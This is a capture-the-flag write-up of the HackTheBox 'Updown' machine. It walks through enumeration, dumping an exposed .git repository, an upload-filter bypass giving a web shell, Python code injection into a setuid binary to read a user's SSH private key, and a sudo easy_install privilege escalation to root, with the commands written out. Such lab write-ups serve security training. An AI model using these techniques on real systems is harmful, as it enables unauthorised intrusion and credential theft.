Hackthebox - Updown

  • Linux


└─$ sudo nmap -T4 -sC -sV -O -Pn -p-                                                                                                        
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-05 15:15 EST
Nmap scan report for
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
|   256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
|_  256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.93 seconds

Port 80

  • When we go to we land here

  • Seems like we'll have some fun ^^

  • Let's add this in /etc/hosts first siteisup.htb

subdomain enum wfuzz

└─$ wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u 'http://siteisup.htb/' -H "HOST: FUZZ.siteisup.htb" --hc 200
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: http://siteisup.htb/
Total requests: 100000

ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                     

000000022:   403        9 L      28 W       281 Ch      "dev - dev"                                                                                                                                                                 
000037212:   400        10 L     35 W       301 Ch      "* - *"                                                                                                                                                                     

Total time: 347.2654
Processed Requests: 100000
Filtered Requests: 99998
Requests/sec.: 287.9641
  • Let's add the subdomain in our hosts we get a 403 here


└─$ gobuster dir -u http://siteisup.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://siteisup.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
2023/01/05 15:21:42 Starting gobuster in directory enumeration mode
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/dev                  (Status: 301) [Size: 310] [--> http://siteisup.htb/dev/]
/server-status        (Status: 403) [Size: 277]
Progress: 20425 / 20476 (99.75%)===============================================================
2023/01/05 15:22:46 Finished
  • /dev is a blank page. Let's try to run gobuster in it

└─$ gobuster dir -u http://siteisup.htb/dev -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://siteisup.htb/dev
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
2023/01/05 16:09:09 Starting gobuster in directory enumeration mode
/.git                 (Status: 301) [Size: 315] [--> http://siteisup.htb/dev/.git/]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
Progress: 20369 / 20476 (99.48%)===============================================================
2023/01/05 16:10:14 Finished
  • Let's also try to dir bust the subdomain dev. So not possible because of the status code

Look around

  • Ok now let's do what I was tempted to do since I saw the landig page

  • python3 -m http.server 80

  • In the browser let's try to see if we can interact this way and enter in the form

  • So we should try to get files or inject command or see what open port we have using this technique

  • We can fuzz for open ports with burp intruder

  • In the payloads tab we choose number. And start from 1 to 65535 with a step of 1.

If you do not have the pro version of burp the best way would be to use another tool because community version might be slow for this.

  • Let's see our results. So it was worth trying but besides port 80 we do not have anything

  • This article on Hacktricks is interesting to see how we could process with this

  • wget -r http://siteisup.htb/dev/.git/

  • then we can use git diff go in the dev directory and run git diff > diff.txt this way you can look and grep and really analyze the file

  • It is worth having a look at the git documentation to see useful git commands

  • Other interesting commands are the git log we will have the commit history and git show <commit-id> to have more info on a specific commit

  • This commit is really interesting

└─$ git show bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab                                                                                                                                                                                    1 ⚙
commit bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab
Author: Abdou.Y <84577967+ab2pentest@users.noreply.github.com>
Date:   Wed Oct 20 16:37:20 2021 +0200

    Update .htaccess
    New technique in header to protect our dev vhost.

diff --git a/.htaccess b/.htaccess
index 3190432..44ff240 100644
--- a/.htaccess
+++ b/.htaccess
@@ -1,5 +1,4 @@
-AuthType Basic
-AuthUserFile /var/www/dev/.htpasswd
-AuthName "Remote Access Denied"
-Require ip ::1
-Require valid-user
+SetEnvIfNoCase Special-Dev "only4dev" Required-Header
+Order Deny,Allow
+Deny from All
+Allow from env=Required-Header
  • With this commit we know that in order to access the .htpasswd we need this header in the request Special-Dev: only4dev and our Ip should be We alse need a valid pair of credentials

  • This one is also interesting

└─$ git show 6ddcc7a8ac393edb7764788c0cbc13a7a521d372                                                                                                                                                                                    1 ⚙
commit 6ddcc7a8ac393edb7764788c0cbc13a7a521d372
Author: Abdou.Y <84577967+ab2pentest@users.noreply.github.com>
Date:   Wed Oct 20 15:04:38 2021 +0200

    Create .htaccess

diff --git a/.htaccess b/.htaccess
new file mode 100644
index 0000000..3190432
--- /dev/null
+++ b/.htaccess
@@ -0,0 +1,5 @@
+AuthType Basic
+AuthUserFile /var/www/dev/.htpasswd
+AuthName "Remote Access Denied"
+Require ip ::1
+Require valid-user
  • Let's try to add the new header everywhere and see what we get

  • To do so in burpsuite this article is really helpful

  • So here is what it looks like in my Burp

  • So let's try to navigate to http://dev.siteisup.htb/

  • We have access to a new page, with a file upload functionality

  • The admin panel link and the changelog do not give anything

  • I tried a php file and it is doing some checks.

  • Maybe there is a way to have a look at the code using the git we found. This way we can see how to bypass this restriction.

  • Ok let's try the tool git dumper mentioned in hacktricks

    • python3 -m venv git-dumper I prefer to install it in a venv so that I do not mess up my local python

    • source git-dumper/bin/activate we activate the env

    • pip install git-dumper we install in in the env

    • git-dumper http://siteisup.htb/dev/.git/ dumpedsite

    • So now we can see some php file. the index is not where the extension is verified but the checker seems interesting. This function is the one that is of interest for us

 # File size must be less than 10kb.
 if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
 $file = $_FILES['file']['name'];

 # Check if extension is allowed.
 $ext = getExtension($file);
  die("Extension not allowed!");

 # Create directory to upload our file.
 $dir = "uploads/".md5(time())."/";
    mkdir($dir, 0770, true);
  # Upload the file.
 $final_path = $dir.$file;
 move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
  # Read the uploaded file.
 $websites = explode("\n",file_get_contents($final_path));
 foreach($websites as $site){
  if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
   echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
    echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
  echo "<center><font color='red'>Hacking attempt was detected !</font></center>";

  # Delete the uploaded file.
  • Very convenient once our file is uploaded we will even know where to fetch it (http://dev.siteisup.htb/uploads/). However it will also delete the file so we have to be quick.

  • php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i here are the file not allowed. This article on hacktricks has nice information on how to bypass these protections

  • It mentions phtm which is not in the list. Let's try it. We can upload it.

  • The best way I can think of to gain time is to put a big url list in the file and add our payload at the end of this list

  • Also be careful to put too many url at the begining because the file limit is 10kb

  • phtm does not get interpreted let's try another one in hacktricks there is also .phar. Let's try it

  • It seems like what is failing me is not the extention but the php file I am using.

  • Let's try another php shell. We get a shell as www-data

Becoming developer

  • We need to move to the user developer (we know the user is called developer with ls /home) because we can not read the user flag now.

  • Let's upgrade the shell first python3 -c 'import pty;pty.spawn("/bin/bash")'

  • Here is the full process

python3 -c 'import pty;pty.spawn("/bin/bash")'
// Background our nc / rlwrap nc connection
Ctrl - z 
// Enable standard terminal commands
stty raw -echo;fg
//Reset the shell so we can configure it with our current settings
//Enter the terminal info we noted earlier
Terminal type?
stty rows 39 columns 190
  • In the developer home we can not cat the user we do have access to the python file that processes the websites to see if they are up

  • If we make a file on siteisup here is what we have

file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not strippe
  • It has the suid bit set. If we launch it we have a prompt to put an url

  • This is launch as the user developer so this how we could move to this user. We could try to inject code and get files. When enumering the home of developer there was an ssh folder that we had a permission denied on. We could try to get an ssh key from here. This article explains how to execute os commands in python.

  • Let's try this __import__('os').system('cat /home/developer/.ssh/id_rsa') id_rsa is the default name for a private ssh key let's hope it will work in our case.

  • We get the private key!!

  • So now we just need to copy it and paste it in our machine, then we will just have to change the rights and ssh -i as developer. Let's try this!

  • It works

  • We can grab the user flag


  • First thing I usually do in linux when I have a user is sudo -l and here we get this interesting output:

  • With some research we find out that easy_install is deprecated. And we can find it on the one and only GTFOBINS

  • Let's try this

  • TF=$(mktemp -d)

  • echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

  • sudo easy_install $TF

  • It works

  • We can get the root flag!

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